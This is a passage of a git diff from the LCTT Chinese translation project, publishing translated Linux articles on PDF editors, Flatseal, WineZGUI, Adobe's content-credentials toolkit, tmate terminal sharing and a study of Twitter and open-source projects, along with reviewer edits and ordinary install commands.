collector: "lkxed" [#]: translator: "geekpi" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14761-1.html" 用这些开源工具在 Linux 上编辑 PDF 文件 ====== -Adobe Acrobat 的开源替代品具有创建、编辑和注释 PDF 的所有必要功能。 -![a checklist for a team][1] +![](https://img.linux.net.cn/data/attachment/album/202206/26/152728d3kajokj34t3agwm.jpg) -图片由:Opensource.com +> Adobe Acrobat 的开源替代品具有创建、编辑和注释 PDF 的所有必要功能。 -开源的 PDF 阅读和编辑工具通常比 “PDF 编辑器”搜索结果第一页中的应用更安全和可靠。在那里,你很可能看到带有隐藏限制和关税的专有应用,缺乏关于数据保护政策和托管的足够信息。你可以有更好的。 +开源的 PDF 阅读和编辑工具通常比 “PDF 编辑器” 搜索结果第一页中的应用更安全和可靠。在那里,你很可能看到带有隐藏的限制和关税的专有应用,缺乏关于数据保护政策和托管的足够信息。你可以有更好的。 -这里有五个应用,可以安装在你的 Linux 系统上(和其他系统)或托管在服务器上。每一个都是免费和开源的,具有创建、编辑和注释 PDF 文件的所有必要功能。 +这里有五个应用,可以安装在你的 Linux 系统上(和其他系统)或托管在服务器上。每一个都是自由而开源的,具有创建、编辑和注释 PDF 文件的所有必要功能。 ### LibreOffice 使用 [LibreOffice][2] 套件,你对应用的选择取决于最初的任务。虽然文字处理器 LibreOffice Writer,可以让你创建 PDF 文件,并从 ODF 和其他文本格式导出,但 Draw 更适合于处理现有的 PDF 文件。 -Draw 是用来创建和编辑图形文件的,如小册子、杂志和海报。因此,该工具集主要集中在视觉对象和布局上。然而,对于 PDF 编辑,当文件具有编辑属性时,LibreOffice Draw 提供了用于修改和添加 PDF 内容的工具。如果没有的话,你仍然可以在现有的内容层上添加新的文本字段,并对文件进行注释或完成。 +Draw 是用来创建和编辑图形文件的,如小册子、杂志和海报。因此,其工具集主要用于视觉对象和布局上。然而,对于 PDF 编辑,当文件具有可编辑属性时,LibreOffice Draw 提供了用于修改和添加 PDF 内容的工具。如果没有的话,你仍然可以在现有的内容层上添加新的文本字段,并对文件进行注释或完成。 Draw 和 Writer 都被捆绑在 LibreOffice 桌面套件中,可在 Linux 系统、macOS 和 Windows 上安装。 @@ -39,7 +38,7 @@ ONLYOFFICE Docs 可以作为一个网络套件(内部或云端)集成到文 ### PDF Arranger -[PDF Arranger][4] 是 PikePDF 库的一个前端应用。它不像 LibreOffice 和 ONLYOFFICE 那样对 PDF 的内容进行编辑,但它对于重新排序页面、将 PDF 分割成更小的文件、将几个 PDF 合并成一个、旋转或裁剪页面等都很好。它的界面是直观的,易于使用。 +[PDF Arranger][4] 是 PikePDF 库的一个前端应用。它不像 LibreOffice 和 ONLYOFFICE 那样用于对 PDF 的内容进行编辑,但它对于重新排序页面、将 PDF 分割成更小的文件、将几个 PDF 合并成一个、旋转或裁剪页面等都很好。它的界面是直观的,易于使用。 PDF Arranger 可用于 Linux 和 Windows。 @@ -67,7 +66,7 @@ Xournal++ 可在 Linux 系统(Ubuntu、Debian、Arch、SUSE)、MacOS 和 Win 如果你正在寻找一个免费和安全的专有 PDF 浏览和编辑软件的替代品,不难找到一个开源的选择,无论是桌面还是在线使用。只要记住,目前可用的解决方案在不同的使用情况下有各自的优势,没有一个工具在所有可能的任务中都同样出色。 -这五个方案因其功能或对小众 PDF 任务的有用性而脱颖而出。对于企业使用和协作,我建议 ONLYOFFICE 或 LibreOffice Draw。PDF Arranger 是一个简单的、轻量级的工具,当你不需要改变文本时,可以用它来处理页面。Okular 为多种文件类型提供了很好的查看功能,如果你想在 PDF 中画草图和做笔记,Xournal++ 是最佳选择。 +这五个方案因其功能或对小众 PDF 任务的有用性而脱颖而出。对于企业使用和协作,我建议使用 ONLYOFFICE 或 LibreOffice Draw。PDF Arranger 是一个简单的、轻量级的工具,当你不需要改变文本时,可以用它来处理页面。Okular 为多种文件类型提供了很好的查看功能,如果你想在 PDF 中画草图和做笔记,Xournal++ 是最佳选择。 -------------------------------------------------------------------------------- @@ -76,7 +75,7 @@ via: https://opensource.com/article/22/6/open-source-pdf-editors-linux 作者:[Michael Korotaev][a] 选题:[lkxed][b] 译者:[geekpi](https://github.com/geekpi) -校对:[校对者ID](https://github.com/校对者ID) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/published/20220609 openSUSE Leap 15.4 Release Adds Leap Micro 5.2, Updated Desktop Environments, and More.md b/published/202206/20220609 openSUSE Leap 15.4 Release Adds Leap Micro 5.2, Updated Desktop Environments, and More.md similarity index 100% rename from published/20220609 openSUSE Leap 15.4 Release Adds Leap Micro 5.2, Updated Desktop Environments, and More.md rename to published/202206/20220609 openSUSE Leap 15.4 Release Adds Leap Micro 5.2, Updated Desktop Environments, and More.md diff --git a/translated/tech/20220610 Manage Flatpak Permission Using Flatseal.md b/published/202206/20220610 Manage Flatpak Permission Using Flatseal.md similarity index 86% rename from translated/tech/20220610 Manage Flatpak Permission Using Flatseal.md rename to published/202206/20220610 Manage Flatpak Permission Using Flatseal.md index c912410576..28207dbe14 100644 --- a/translated/tech/20220610 Manage Flatpak Permission Using Flatseal.md +++ b/published/202206/20220610 Manage Flatpak Permission Using Flatseal.md @@ -3,13 +3,16 @@ [#]: author: "Arindam https://www.debugpoint.com/author/admin1/" [#]: collector: "lkxed" [#]: translator: "geekpi" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14736-1.html" 使用 Flatseal 管理 Flatpak 的权限 ====== -了解如何使用 Flatseal 应用管理 Flatpak 权限,它为你提供了一个友好的 GUI 和额外的功能。 + +![](https://img.linux.net.cn/data/attachment/album/202206/20/151550qkrkpjw4f9dpjo50.jpg) + +> 了解如何使用 Flatseal 应用管理 Flatpak 权限,它为你提供了一个友好的 GUI 和额外的功能。 从新用户的角度来看,在 Linux 中安装应用可能是一个挑战。主要原因是有这么多的 [Linux 发行版][1]。而你需要为各种 Linux 发行版提供不同的安装方法或说明。对于一些用户来说,这可能会让他们不知所措。此外,对于开发者来说,为不同的发行版创建独立的软件包和构建也很困难。 @@ -39,7 +42,7 @@ Flatseal 是一个 Flatpak 应用,它为你提供了一个友好的用户界 当打开 Flatseal 应用时,它应该在左边的导航栏列出所有的 Flatpak 应用。而当你选择了一个应用,它就会在右边的主窗口中显示可用的权限设置。 -现在,对于每个 Flatpak 权限控制,当前值显示在切换开关中。如果该权限正在使用中,它应该被设置。否则,它应该是灰色的。 +现在,对于每个 Flatpak 权限控制,当前值显示在切换开关中。如果该权限正在使用中,它应该被启用。否则,它应该是灰色的。 首先,要设置权限,你必须进入你的系统的应用。然后,你可以从权限列表中启用或禁用任何各自的控制。 @@ -57,7 +60,7 @@ Flatseal 是一个 Flatpak 应用,它为你提供了一个友好的用户界 ![Figure 3: Telegram Desktop Flatpak App does not have permission to the home folders][4] -现在,如果我想允许所有的用户文件和任何特定的文件夹(例如:/home/Downloads),你可以通过打开启用开关来给予它。请看下面的图 4。 +现在,如果我想允许所有的用户文件和某个特定的文件夹(例如:`/home/Downloads`),你可以通过打开启用开关来给予它。请看下面的图 4。 ![Figure 4: Permission changed of Telegram Desktop to give access to folders][5] @@ -69,7 +72,7 @@ Flatseal 是一个 Flatpak 应用,它为你提供了一个友好的用户界 flatpak override org.telegram.desktop --filesystem=/home/Downloads ``` -而要删除: +而要删除权限: ``` flatpak override org.telegram.desktop --nofilesystem=/home/Downloads @@ -79,7 +82,7 @@ Flatseal 还有一个很酷的功能,它在用户特定的权限变化旁边 ### 我可以在所有的 Linux 发行版中安装 Flatseal 吗? -是的,你可以把 [Flatseal][6] 作为 Flatpak 安装在所有 Linux 发行版中。你可以使用[本指南][7]设置你的系统,并运行以下命令进行安装。或者,[点击这里][8]直接启动特定系统的安装程序。 +是的,你可以把 [Flatseal][6] 作为 Flatpak 安装在所有 Linux 发行版中。你可以使用 [本指南][7] 设置你的系统,并运行以下命令进行安装。或者,[点击这里][8] 直接启动特定系统的安装程序。 ``` flatpak install flathub com.github.tchx84.Flatseal @@ -96,7 +99,7 @@ via: https://www.debugpoint.com/2022/06/manage-flatpak-permission-flatseal/ 作者:[Arindam][a] 选题:[lkxed][b] 译者:[geekpi](https://github.com/geekpi) -校对:[校对者ID](https://github.com/校对者ID) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/published/202206/20220610 Run Windows Apps And Games Using WineZGUI On Linux.md b/published/202206/20220610 Run Windows Apps And Games Using WineZGUI On Linux.md new file mode 100644 index 0000000000..64081739db --- /dev/null +++ b/published/202206/20220610 Run Windows Apps And Games Using WineZGUI On Linux.md @@ -0,0 +1,178 @@ +[#]: subject: "Run Windows Apps And Games Using WineZGUI On Linux" +[#]: via: "https://ostechnix.com/winezgui-run-windows-apps-and-games-on-linux/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14744-1.html" + +在 Linux 上使用 WineZGUI 运行 Windows 应用和游戏 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/22/160322tds2ut05d8jqdlzz.jpg) + +> WineZGUI - 一个使用 Zenity 的 Wine GUI 前台 + +不久前,我们写了关于 [Bottles][1] 的文章,这是一个开源的图形应用,可以在 Linux 操作系统上轻松运行 Windows 软件和游戏。今天,我们将讨论一个类似的有趣项目。向 **WineZGUI** 打个招呼,它是一个 Wine GUI 前台,可以 [在 Linux 上用 Wine 运行 Windows 应用和游戏][2]。 + +### 什么是 WineZGUI? + +WineZGUI 是一个 Bash 脚本的集合,它允许你轻松地管理 Wine 前缀,并在 Linux 上使用 **Zenity** 提供更轻松的 Wine 游戏体验。 + +(LCTT 译注:Wine 前缀是一个特殊文件夹,Wine 在其中放置所有 Wine 特定的文件,安装 Windows 程序、库和注册表代码,以及用户首选项。) + +使用 WineZGUI,我们可以直接从文件管理器中启动 Windows EXE 文件或游戏,而无需安装它们。 + +WineZGUI 为每个应用或游戏创建快捷方式,以便于访问,同时也为每个 EXE 二进制文件创建单独的前缀。 + +当你用 WineZGUI 启动一个 Windows EXE 文件时,它会提示你是否使用默认的 Wine 前缀或创建一个新的前缀。默认的前缀是 `~/.local/share/winezgui/default`。 + +如果你选择为 Windows 二进制文件(EXE)创建一个新的前缀,WineZGUI 将尝试从 EXE 文件中提取产品名称和图标,并创建一个桌面快捷方式。 + +当你以后启动相同的二进制文件(EXE)时,它将建议你用先前的相关前缀来运行它。 + +说得通俗一点,WineZGUI 只是一个用于官方原始 Wine 的简单 GUI。当我们启动一个 EXE 来玩游戏时,Wine 前缀的设置是自动的。 + +你只需打开一个 EXE,它就会创建一个前缀和一个桌面快捷方式,并从该 EXE 中提取名称和图标。 + +它使用 `exiftool` 和 `icotool` 工具来分别提取名称和图标。你可以通过现有的前缀打开一个 EXE 来启动该游戏,或者使用桌面快捷方式。 + +WineZGUI 是一个在 GitHub 上免费托管的 shell 脚本。你可以抓取源代码,改进它,修复错误和增加功能。 + +### Bottles Vs WineZGUI + +你可能想知道 WineZGUI 与 Bottles 相比如何。但这些应用之间有一个微妙的区别。 + +**Bottles 是面向前缀的**和**面向运行器的**。意思是:Bottles 首先创建一个前缀,然后使用不同的 EXE 文件。Bottles 不会记住 EXE 的前缀。Bottles 使用不同的运行器。 + +**WineZGUI 是面向 EXE 的**。它使用 EXE 并只为该 EXE 创建一个前缀。下次我们打开一个 EXE 时,它将询问是否用现有的 EXE 前缀启动。 + +WineZGUI 不提供像 Bottles 或 [lutris][3] 那样的高级功能,如运行程序、在线安装程序等。 + +### 如何在 Linux 中安装 WineZGUI + +确保你已经安装了 WineZGUI 的必要先决条件。 + +Debian/Ubuntu: + +``` +$ sudo dpkg --add-architecture i386 +$ sudo apt install zenity wine winetricks libimage-exiftool-perl icoutils gnome-terminal +``` + +Fedora: + +``` +$ sudo dnf install zenity wine winetricks perl-Image-ExifTool icoutils gnome-terminal +``` + +官方推荐的安装 WineZGUI 的方法是使用 [Flatpak][4]。 + +安装完 Flatpak 后,逐一运行以下命令,在 Linux 中安装 WineZGUI。 + +``` +$ flatpak --user remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo +``` + +``` +$ flatpak --user -y install flathub org.winehq.Wine/x86_64/stable-21.08 +``` + +``` +$ wget https://github.com/fastrizwaan/WineZGUI-Releases/releases/download/WineZGUI-0.4_20220608/io.github.WineZGUI_0_4_20220608.flatpak +``` + +``` +$ flatpak --user -y install io.github.WineZGUI_0_4_20220608.flatpak +``` + +### 在 Linux 中用 WineZGUI 运行 Windows 应用和游戏 + +从 Dash 或菜单中启动 WineZGUI。 + +![Launch WineZGUI][5] + +这就是 WineZGUI 的默认界面的样子。 + +![WineZGUI Interface][6] + +正如你在上面的截图中看到的,WineZGUI 的界面非常简单易懂。从主窗口中,你可以: + +* 打开一个 EXE 文件。 +* 打开 Winetricks GUI 和 CLI。 +* 启动 Wine 配置。 +* 启动资源管理器。 +* 打开 BASH Shell。 +* 关闭所有的应用/游戏,包括 WineZGUI 界面。 +* 删除 Wine 前缀。 +* 查看已安装的 WineZGUI 版本。 + +为了演示,我将打开一个 EXE 文件。 + +在下一个窗口中,选择要运行的 EXE 文件。在我的例子中,它是 WinRAR。 + +![Choose The EXE File To Run][7] + +接下来,你是想用默认的前缀运行 EXE 文件,还是创建一个新的前缀。我选择默认的前缀。 + +![Run WinRAR With Default Prefix][8] + +几秒钟后,会出现 WinRAR 安装向导。点击安装,继续。 + +![Install WinRAR In Linux][9] + +点击 “OK” 来完成 WinRAR 的安装。 + +![Complete WinRAR Installation][10] + +点击 “运行 WinRARRun WinRAR” 来启动它。 + +![Run WinRAR][11] + +下面是 WinRAR 在我的 Fedora 36 桌面上的运行情况! + +![WinRAR Is Running In Fedora Using Wine][12] + +### 总结 + +WineZGUI 是俱乐部的新人。如果你正在寻找一种在 Linux 桌面上使用 Wine 运行 Windows 应用和游戏的更简单方法,WineZGUI 可能是一个不错的选择。 + +在 WineZGUI 的帮助下,用户可以选择在与 EXE 相同的文件夹中创建一个 Wine 前缀,并创建一个相对链接的 `.desktop` 条目来自动执行此操作。 + +原因是使用 Wine 前缀备份和删除游戏更容易,并且让它生成一个 `.desktop` 将使其能够适应移动和转移。 + +一个很酷的场景是使用该应用进行设置,然后将 Wine 前缀分享给你的朋友和其他人,他们只需要一个具有所有依赖性和保存的工作 Wine 前缀。 + +请试一试它,在下面的评论区告诉我们你对这个项目的看法。 + +**资源:** + +* [WineZGUI GitHub 仓库][13] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/winezgui-run-windows-apps-and-games-on-linux/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/run-windows-software-on-linux-with-bottles/ +[2]: https://ostechnix.com/run-windows-games-softwares-ubuntu-16-04/ +[3]: https://ostechnix.com/manage-games-using-lutris-linux/ +[4]: https://ostechnix.com/how-to-install-and-use-flatpak-in-linux/ +[5]: https://ostechnix.com/wp-content/uploads/2022/06/Launch-WineZGUI.png +[6]: https://ostechnix.com/wp-content/uploads/2022/06/WineZGUI-Interface.png +[7]: https://ostechnix.com/wp-content/uploads/2022/06/Choose-The-EXE-File-To-Run.png +[8]: https://ostechnix.com/wp-content/uploads/2022/06/Run-WinRAR-With-Default-Prefix.png +[9]: https://ostechnix.com/wp-content/uploads/2022/06/Install-WinRAR-In-Linux.png +[10]: https://ostechnix.com/wp-content/uploads/2022/06/Complete-WinRAR-Installation.png +[11]: https://ostechnix.com/wp-content/uploads/2022/06/Run-WinRAR.png +[12]: https://ostechnix.com/wp-content/uploads/2022/06/WinRAR-Is-Running-In-Fedora-Using-Wine.png +[13]: https://github.com/fastrizwaan/WineZGUI diff --git a/published/20220611 Don-t Be Afraid of Linux Terminal. Embrace it..md b/published/202206/20220611 Don-t Be Afraid of Linux Terminal. Embrace it..md similarity index 100% rename from published/20220611 Don-t Be Afraid of Linux Terminal. Embrace it..md rename to published/202206/20220611 Don-t Be Afraid of Linux Terminal. Embrace it..md diff --git a/published/20220613 Thonny is an Ideal IDE for Teaching Python Programming in Schools.md b/published/202206/20220613 Thonny is an Ideal IDE for Teaching Python Programming in Schools.md similarity index 100% rename from published/20220613 Thonny is an Ideal IDE for Teaching Python Programming in Schools.md rename to published/202206/20220613 Thonny is an Ideal IDE for Teaching Python Programming in Schools.md diff --git a/translated/news/20220614 Adobe Launches Open Source Toolkit To Contain Visual Misinformation.md b/published/202206/20220614 Adobe Launches Open Source Toolkit To Contain Visual Misinformation.md similarity index 68% rename from translated/news/20220614 Adobe Launches Open Source Toolkit To Contain Visual Misinformation.md rename to published/202206/20220614 Adobe Launches Open Source Toolkit To Contain Visual Misinformation.md index e77c430d73..b5142c3643 100644 --- a/translated/news/20220614 Adobe Launches Open Source Toolkit To Contain Visual Misinformation.md +++ b/published/202206/20220614 Adobe Launches Open Source Toolkit To Contain Visual Misinformation.md @@ -3,19 +3,20 @@ [#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" [#]: collector: "lkxed" [#]: translator: "lkxed" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14729-1.html" -Adobe 推出了开源工具包以减少视觉错误信息 +为减少视觉错误信息,Adobe 推出了开源工具包 ====== -![Adobe][1] -Adobe 设想了一个充满照片和视频的网络,照片和视频上标注关于它们来自哪里的信息。该公司的主要目标是减少视觉错误信息的传播,不过,该系统也可以使那些“希望将自己的名字与工作关联起来”的内容创作者受益。 +![](https://img.linux.net.cn/data/attachment/album/202206/19/105844yauuhdz1u1189ffr.jpg) -Adobe 的 内容真实性计划Content Authenticity Initiative (CAI) 项目于 2019 年首次宣布,此后,它发布了一份关于实现该目标的技术白皮书,将该系统集成了到自己的软件中,并与新闻编辑室和硬件制造商展开了合作,以帮助普及其愿景。 +Adobe 设想的是为网络上充斥的照片和视频标注关于它们的来源。该公司的主要目标是减少视觉错误信息的传播,不过,该系统也可以使那些“希望将自己的名字与工作关联起来”的内容创作者受益。 -现在,该公司发布了一个由三部分组成的开源工具包,从而把该技术交到开发人员手中并投入使用。Adobe 的新开源工具包括用于开发“在浏览器中显示内容凭据”的 JavaScript SDK、命令行实用程序和用于开发桌面应用程序、移动应用程序和其他用于创建、查看和验证嵌入式内容凭据的 Rust SDK。 +Adobe 在 2019 年首次宣布了其 内容真实性计划Content Authenticity Initiative(CAI)项目,此后,它发布了一份关于实现该目标的技术白皮书,将该系统集成了到自己的软件中,并与新闻编辑室和硬件制造商展开了合作,以帮助普及其愿景。 + +现在,该公司发布了一个由三部分组成的开源工具包,从而把该技术交到开发人员手中,并投入使用。Adobe 的新开源工具包括一个用于开发“在浏览器中显示内容凭据”的 JavaScript SDK、一个命令行实用程序,和一个用于开发桌面应用程序、移动应用程序和其他应用的 Rust SDK,以创建、查看和验证嵌入式内容凭据。 众所周知,照片的 EXIF 数据中记录了有关光圈和快门速度的信息,这个新标准也采用了这种方式,它还记录有关文件创建的信息,例如文件的创建和编辑方式。如果该公司的共同愿景成真,这些 Adobe 称之为“内容凭证”的元数据,将在社交媒体平台、图像搜索平台、图像编辑器、搜索引擎中广泛可见。 @@ -34,7 +35,7 @@ via: https://www.opensourceforu.com/2022/06/adobe-launches-open-source-toolkit-t 作者:[Laveesh Kocher][a] 选题:[lkxed][b] 译者:[lkxed](https://github.com/lkxed) -校对:[校对者ID](https://github.com/校对者ID) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/published/20220614 KDE Plasma 5.25 Release is All About Color, Theme, and Other Improvements.md b/published/202206/20220614 KDE Plasma 5.25 Release is All About Color, Theme, and Other Improvements.md similarity index 100% rename from published/20220614 KDE Plasma 5.25 Release is All About Color, Theme, and Other Improvements.md rename to published/202206/20220614 KDE Plasma 5.25 Release is All About Color, Theme, and Other Improvements.md diff --git a/translated/tech/20220614 Share your Linux terminal with tmate.md b/published/202206/20220614 Share your Linux terminal with tmate.md similarity index 51% rename from translated/tech/20220614 Share your Linux terminal with tmate.md rename to published/202206/20220614 Share your Linux terminal with tmate.md index b9d3ee4f5b..b296bc9a53 100644 --- a/translated/tech/20220614 Share your Linux terminal with tmate.md +++ b/published/202206/20220614 Share your Linux terminal with tmate.md @@ -4,30 +4,29 @@ [#]: collector: "lkxed" [#]: translator: "geekpi" [#]: reviewer: "turbokernel" -[#]: publisher: " " -[#]: url: " " +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14726-1.html" 用 tmate 分享你的 Linux 终端 ====== -Tmate 扩展了你与 Linux 终端共享会话的选项。 -![Terminal command prompt on orange background][1] +> tmate 扩展了你分享 Linux 终端会话的方式。 -图片提供: [iradaturrahmat][2] 通过 [Pixabay][3],CC0 +![](https://img.linux.net.cn/data/attachment/album/202206/18/170815hfrcdfd4lltd737z.jpg) -作为 Fedora Linux QA 团队的一员,我有时会发现自己执行了一堆我想广播给其他开发者的命令。如果你曾经使用过像 [tmux][5] 或 [GNU Screen][6] 这样的[终端复用器][4],你可能会认为这是一个相对容易的任务。但并不是所有我想看我的演示的人都是从笔记本电脑或台式机连接到我的终端会话的。有些人可能是随便从他们的手机浏览器中打开的,他们可以很容易地做到这一点,因为我使用了[tmate][7]。 +作为 Fedora Linux QA 团队的一员,我有时想将自己执行的一堆命令广而告之给其他开发者。如果你曾经使用过像 [tmux][5] 或 [GNU Screen][6] 这样的 [终端复用器][4],你可能会认为这是一个挺轻松的任务。不是所有看我的示范的人都是从笔记本电脑或台式机连接到我的终端会话的,有些人可能是随手在他们的手机浏览器中打开的,因为我使用了 [tmate][7],所以他们可以很容易地做到这一点。 -### 使用 tmate 共享 Linux终端 +### 使用 tmate 分享 Linux 终端 -看别人在 Linux 终端工作是非常有教育意义的。你可以学到新的命令,新的工作流程,或者新的调试和自动化的方法。但要捕捉到你所看到的东西,以便你以后可以自己尝试,这可能很困难。你可能会诉诸于截图或共享终端会话的屏幕记录,这样你就可以在以后打出每个命令。唯一的选择是由演示命令的人使用 [Asciinema][8] 或 [script 和 scriptreplay][9] 等工具来记录会话。 +观看别人在 Linux 终端的工作是非常有教育意义的。你可以学到新的命令、新的工作流程,或者新的调试和自动化的方法。但要抓住你所看到的东西,以便你以后可以自己尝试,这可能很困难。你可能会借助截图或一个共享终端会话的屏幕记录,这样你就可以在以后打出每个命令。剩下的唯一选择是由演示命令的人使用 [Asciinema][8] 或 [script 和 scriptreplay][9] 等工具来记录会话。 -但是通过 tmate,用户可以在只读模式下或通过 SSH 共享一个终端。SSH 和只读会话都可以通过终端或以 HTML 网页的形式访问。 +但是通过 `tmate`,用户可以在只读模式下或通过 SSH 分享终端。SSH 和只读会话都可以通过终端或以 HTML 网页的形式访问。 -当我为 Fedora QA 团队培训人员时,我使用只读模式,因为我需要运行命令并显示输出,但有了 tmate,人们可以通过从他们的浏览器复制和粘贴到文本编辑器来保持笔记。 +当我为 Fedora QA 团队培训人员时,我使用只读模式,因为我需要运行命令并显示输出,但有了 `tmate`,人们可以通过从他们的浏览器复制和粘贴到文本编辑器来记录笔记。 ### Linux tmate 上手 -在 Linux 上,你可以用你的包管理器安装 tmate。例如,在 Fedora 上: +在 Linux 上,你可以用你的包管理器安装 `tmate`。例如,在 Fedora 上: ``` $ sudo dnf install tmate @@ -39,43 +38,41 @@ $ sudo dnf install tmate $ sudo apt install tmate ``` -在 macOS 上,你可以用 [Homebrew][10] 或 [MacPorts][11] 安装它。如果你需要其他 Linux 发行版的说明,请参考[安装][12]指南。 +在 macOS 上,你可以用 [Homebrew][10] 或 [MacPorts][11] 安装它。如果你需要其他 Linux 发行版的说明,请参考 [安装][12] 指南。 ![Screenshot of terminal showing the options for tmate sharing: web session (regular and read-only) and ssh session (regular and read-only)][13] -安装后,启动 tmate: +安装后,启动 `tmate`: ``` $ tmate ``` -当 tmate 启动时,会产生链接,通过 HTTP 和 SSH 提供对终端会话的访问。每个协议都有一个只读选项以及一个反向的 SSH 会话。 +当 `tmate` 启动时,会生成链接,通过 HTTP 和 SSH 提供对终端会话的访问。每个协议都有一个只读方式,以及一个反向的 SSH 会话。 下面是一个网络会话的样子: ![Screenshot showing tmate terminal window and 2 versions of sharing sessions demonstrating the same code][14] -Tmate 的网络控制台是 HTML5 的,因此,用户可以复制整个屏幕并粘贴到终端来运行相同的命令。 +`tmate` 的网络控制台是 HTML5 的,因此,用户可以复制整个屏幕并粘贴到终端来运行相同的命令。 -### 保持会话活跃 +### 保持会话 -你可能想知道如果你不小心关闭了你的终端会发生什么。你也可能想知道如何与不同的控制台应用共享你的终端。毕竟,tmate 是一个多路复用器,所以它应该能够保持会话的活力,脱离并重新连接到一个会话,等等。 +你可能想知道如果你不小心关闭了你的终端会发生什么。你也可能想知道如何与不同的控制台应用共享你的终端。毕竟,`tmate` 是一个多路复用器,所以它应该能够保持会话,脱离并重新连接到一个会话,等等。 -当然,这正是 tmate 所能做到的。如果你曾经使用过 tmux,这可能是相当熟悉的。 +当然,这正是 `tmate` 所能做到的。如果你曾经使用过 `tmux`,这可能是相当熟悉的。 ``` $ tmate -F -n web new-session vi console ``` -这个命令在 Vi 中打开了 `new-session`,`-F` 选项确保会话在关闭时也能重新产生。 +这个命令在 `vi` 中打开了 `new-session`,`-F` 选项确保会话在关闭时也能重新产生。 ![A screenshot of the terminal showing the output after using the new-session and -F options: connection information for either a web session (regular or read-only) or ssh session (regular or read-only)][15] ### 社交复用 -Tmate 给你带来了 tmux 或 GNU Screen 的自由,以及与他人共享会话的能力。对于教其他用户如何使用终端,演示一个新命令的功能,或调试意外的行为,这是一个有价值的工具。它是开源的,所以请试一试! - -图片提供(Sumantro Mukherjee,CC BY-SA 4.0) +`tmate` 给你带来了 `tmux` 或 GNU Screen 的自由度,以及与他人分享会话的能力。这是一个有价值的工具,可以教其他用户如何使用终端、演示一个新命令的功能,或调试意外的行为。它是开源的,所以请试一试! -------------------------------------------------------------------------------- diff --git a/published/20220614 Thunderbird, The Open Source Email Client, Is Coming To Android.md b/published/202206/20220614 Thunderbird, The Open Source Email Client, Is Coming To Android.md similarity index 100% rename from published/20220614 Thunderbird, The Open Source Email Client, Is Coming To Android.md rename to published/202206/20220614 Thunderbird, The Open Source Email Client, Is Coming To Android.md diff --git a/translated/news/20220615 According to studies, Twitter Drives Open Source Projects Popularity.md b/published/202206/20220615 According to studies, Twitter Drives Open Source Projects Popularity.md similarity index 69% rename from translated/news/20220615 According to studies, Twitter Drives Open Source Projects Popularity.md rename to published/202206/20220615 According to studies, Twitter Drives Open Source Projects Popularity.md index a8a3a26be1..f3a693778c 100644 --- a/translated/news/20220615 According to studies, Twitter Drives Open Source Projects Popularity.md +++ b/published/202206/20220615 According to studies, Twitter Drives Open Source Projects Popularity.md @@ -3,23 +3,24 @@ [#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" [#]: collector: "lkxed" [#]: translator: "lkxed" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14734-1.html" 有研究表明,推特能够推动开源项目的普及 ====== + ![推特][1] -由 HongBo Fang 博士领导的研究团队发现,推特是一种吸引更多人关注和贡献 GitHub 开源项目的有效方式。Fang 博士在国际软件工程会议上发表了这项名为“‘这真是太棒了!’估计推文对开源项目受欢迎程度和新贡献者的影响”的研究,并获得了杰出论文奖。这项研究显示,发送和一个项目有关的推文,导致了该项目受欢迎程度增加了 7%(在 GitHub 上至少增加了一颗 star),贡献者数量增加了 2%。一个项目收到的推文越多,它收到的 star 和贡献者就越多。 +由 HongBo Fang 博士领导的研究团队发现,推特是一种吸引更多人关注和贡献 GitHub 开源项目的有效方式。Fang 博士在国际软件工程会议上发表了这项名为“‘这真是太棒了!’估计推文对开源项目受欢迎程度和新贡献者的影响”的研究,并获得了杰出论文奖。这项研究显示,发送和一个项目有关的推文,导致了该项目受欢迎程度增加了 7%(在 GitHub 上至少增加了一个星标),贡献者数量增加了 2%。一个项目收到的推文越多,它收到的星标和贡献者就越多。 Fang 说:“我们已经意识到社交媒体在开源社区中变得越来越重要,吸引关注和新的贡献者将带来更高质量和更好的软件。” 大多数开源软件都是由志愿者创建和维护的。参与项目的人越多,结果就越好。开发者和其他人使用该软件、报告问题并努力解决这些问题。然而,不受欢迎的项目有可能得不到应有的关注。这些劳动力(几乎都是志愿者),维护了数百万人每天依赖的软件。例如,几乎每个 HTTPS 网站都使用开源的 OpenSSL 保护其内容。Heartbleed 是 OpenSSL 中发现的一个安全漏洞,在 2014 年被发现后,企业花费了数百万美元来修复它。另一个开源软件 cURL 允许连接的设备相互发送数据,并安装在大约 10 亿台设备上。开源软件之多,不胜枚举。 -此次“推特对提高开源项目的受欢迎程度和吸引新贡献者的影响”的研究,其实是 “Vasilescu 数据挖掘与社会技术研究实验室” (STRUDEL) 